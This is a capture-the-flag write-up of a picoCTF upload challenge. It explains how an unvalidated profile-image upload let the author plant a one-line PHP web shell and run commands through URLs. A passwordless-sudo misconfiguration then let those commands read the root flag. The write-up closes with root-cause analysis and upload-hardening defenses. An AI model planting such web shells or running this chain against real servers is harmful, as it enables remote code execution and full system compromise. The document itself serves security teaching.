picoCTF · picoGym Web Exploitation Easy 100 pts

File Upload — Unrestricted Upload to RCE

OWASP A01 — Broken Access Control / A05 — Security Misconfiguration

Vulnerability Overview

A profile image upload endpoint performed no file type validation, allowing upload and execution of arbitrary PHP code. Combined with a catastrophically misconfigured sudo policy that granted the web server process unrestricted root access, the attack chain escalated from file upload to full system compromise.

Reconnaissance

Initial exploration confirmed the upload endpoint accepted any file type — a plain .txt file was accepted without restriction. The URL path /upload.php revealed a PHP backend, which is significant: PHP files uploaded to a web-accessible directory can be executed directly by the server.

Web Shell Deployment

A minimal PHP web shell was crafted and uploaded as shell.php:

<?php system($_GET['cmd']); ?>

The server accepted the upload and confirmed the file path: uploads/shell.php. Accessing the file directly and passing a command via the cmd parameter confirmed Remote Code Execution:

http://[target]/uploads/shell.php?cmd=ls

Privilege Escalation

Checking the current user's sudo permissions revealed a critical misconfiguration:

http://[target]/uploads/shell.php?cmd=sudo+-l

User www-data may run the following commands:
    (ALL) NOPASSWD: ALL

The web server process www-data had unrestricted passwordless sudo access — meaning any command executed through the web shell ran with effective root privileges. Reading the flag required a single command:

http://[target]/uploads/shell.php?cmd=sudo+cat+/root/flag.txt

Root Cause

Two independent failures created a complete attack chain. The upload endpoint validated neither file extension nor MIME type, allowing executable PHP to reach a web-accessible directory. The sudo misconfiguration then eliminated any privilege boundary between the web process and the underlying system.

Defense LayerImplementationEffect
Extension whitelistAccept only .jpg, .png, .gif, .webpBlocks PHP upload at the entry point
MIME type validationValidate Content-Type and file magic bytes server-sideCatches extension spoofing
File renamingRename all uploads to a random UUID with a safe extensionUploaded PHP becomes a3f9b2.jpg — unreachable even if uploaded
Least privilegewww-data must have no sudo rights whatsoeverLimits blast radius of any web shell to the web process context
Key Insight: Defense in depth matters here — any single one of the three upload controls listed would have stopped the attack before it started. And sudo -l is one of the first checks in any post-exploitation enumeration; a web server process with NOPASSWD: ALL is a complete system compromise waiting to happen.
Flag See challenge on picoCTF picoGym